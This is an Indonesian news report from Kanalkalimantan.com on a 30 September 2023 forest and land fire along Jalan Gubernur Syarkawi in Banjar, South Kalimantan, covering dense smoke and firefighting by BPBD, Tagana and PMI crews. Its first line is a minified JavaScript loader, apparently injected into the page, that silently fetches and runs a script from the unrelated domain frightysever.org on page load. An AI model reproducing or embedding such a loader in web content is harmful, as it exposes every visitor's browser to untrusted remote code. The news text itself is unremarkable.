(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Karhutla Sore di Jalan Gubernur Syarkawi, Asap Pekat Bikin Perih Mata

KANALKALIMANTAN.COM, MARTAPURA – Kebakaran hutan dan lahan (Karhutla) jalan Gubernur Syarkawi, Kecamatan Gambut, Kabupaten Banjar, Kalimantan Selatan, Sabtu (30/9/2023) petang.

Setelah kobaran api berhasil dikuasai di Desa Abumbun Jaya pukul 17.00 Wita, tim BPBD Kabupaten Banjar, Tagana dan PMI Kabupaten Banjar bergeser ke lokasi Karhutla di sepanjang jalan Gubernur Syarkawi.

Ditemui Kanalkalimantan.com Kalak BPBD Banjar Warsita di depan Kantor Kecamatan Sungai Tabuk mengatakan, BPBD Banjar mengerahkan tim untuk bergeser ke titik Karhutla di jalan Gubernur Syarkawi. “Setelah ini kita langsung ke lokasi Gubernur Syarkawi,” katanya.

Sepanjang jalan Gubernur Syarkawi, mulai dari jembatan layang hingga ke arah jalan A Yani Km 17 diselimuti asap tebal pekat sejak pukul 17.18 Wita. Asap di pekat membuat perih mata, hingga mengganggu penglihatan dan udara yang pekat bau khas terbakar mengharuskan para pengguna jalan roda dua dan roda empat pun harus ekstra hati-hati.

Di sepanjang jalan Gubernur Syarkawi, kanan dan kiri terdapat asap yang masih mengepul dihembus oleh angin, tampak batang-batang pohon yang ludes terbakar masih mengeluarkan asap putih.

Hamparan lahan yang telah terbakar sejauh mata memandang hanya terlihat arang menghitam terbakar. Titik api yang sedang aktif dan tidak jauh dari titik itu, ada juga tim pemadam swasta bersiaga untuk membantu memadamkan api.

Pukul 17.33 Wita, tim BPBD Kabupaten Banjar, Tagana, dan PMI Kabupaten Banjar bergegas mengatur strategi pemadaman, dengan sigap mereka mengambil slang dan personel telah mengambil posisi dan tugas masing-masing.

Penyemprotan dari dua mobil sekaligus, tak hanya personel yang sibuk, Kalak BPBD Kabupaten Banjar, Warsita ikut terjun langsung dalam pemadaman api.

Ia tampak membantu membentang slang, menarik hingga masuk kelahan yang terbakar, bekerja sama dalam memadamkan api.

Personel lain juga sibuk mengatur arus lalu lintas, karena asap yang begitu tebal mengakibatkan sekeliling hingga sepanjang jalan di selimuti asap, bak seperti negeri di atas awan.

Banyak titik api yang masih aktif, membuat asap api bertambah tebal dan cahaya mataharipun hampir tak dapat menembus, meskipun waktu menunjukkan pukul 17.45 Wita.

Kendala sumber air yang mengharuskan pengambilan ke irigasi di bawah jembatan layang.

Hingga pukul 18.18 Wita, kobaran api belum padam.(Kanalkalimantan.com/nh)

Reporter : nh
Editor : bie